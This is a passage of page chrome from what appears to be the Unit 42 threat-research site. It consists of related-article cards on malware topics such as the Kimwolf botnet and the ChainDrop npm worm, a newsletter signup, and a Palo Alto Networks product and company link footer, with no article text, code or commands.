![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution") ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/) * [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication") * [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft") * [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels") ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. Subscribe today. Your Email Subscribe for email updates to all Unit 42 threat research. By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement") This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply. Invalid captcha! Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} Products and Services * [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security) * [Secure AI by Design](https://www.paloaltonetworks.com/ai-security) * [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs) * [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security) * [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security) * [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall) * [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations) * [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.com/network-security/panorama) * [Secure Access Service Edge](https://www.paloaltonetworks.com/sase) * [Prisma SASE](https://www.paloaltonetworks.com/sase) * [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration) * [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.com/sase/access) * [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan) * [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex) * [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud) * [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud) * [AI-Driven SOC](https://www.paloaltonetworks.com/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse) * [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/unit42/respond/managed-detection-response) * [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam) * [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira) * [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management) * [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager) * [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance) * [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management) * [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic) * [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management) * [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance) * [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery) * [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access) * [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42) * [Prepare for Emerging Risks](https://www.paloaltonetworks.com/unit42/prepare-for-emerging-risks/continuous-frontier-ai-defense) * [Strengthen Your Defenses](https://www.paloaltonetworks.com/unit42/strengthen-your-defenses) * [Build Your Security Strategy](https://www.paloaltonetworks.com/unit42/build-your-security-strategy) * [Understand the Adversary](https://www.paloaltonetworks.com/unit42/threat-intelligence) * [Respond to a Cyber Attack](https://www.paloaltonetworks.com/unit42/respond) Company * [About Us](https://www.paloaltonetworks.com/about-us) * [Careers](https://jobs.paloaltonetworks.com/en/) * [Contact Us](https://www.paloaltonetworks.com/company/contact-sales) * [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility) * [Customers](https://www.paloaltonetworks.com/customers) * [Investor Relations](https://investors.paloaltonetworks.com/) * [Location](https://www.paloaltonetworks.com/about-us/locations) * [Newsroom](https://www.paloaltonetworks.com/company/newsroom) Popular Links * [Blog](https://www.paloaltonetworks.com/blog/) * [Communities](https://www.paloaltonetworks.com/communities) * [Content Library](https://www.paloaltonetworks.com/resources) * [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia) * [Event Center](https://events.paloaltonetworks.com/) * [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center) * [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z) * [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/certifications) * [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure) * [Sitemap](https://www.paloaltonetworks.com/sitemap) * [Tech Docs](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.com/) * [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy) * [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center) * [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use) * [Documents](https://www.paloaltonetworks.com/legal) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector) * [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * EN Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)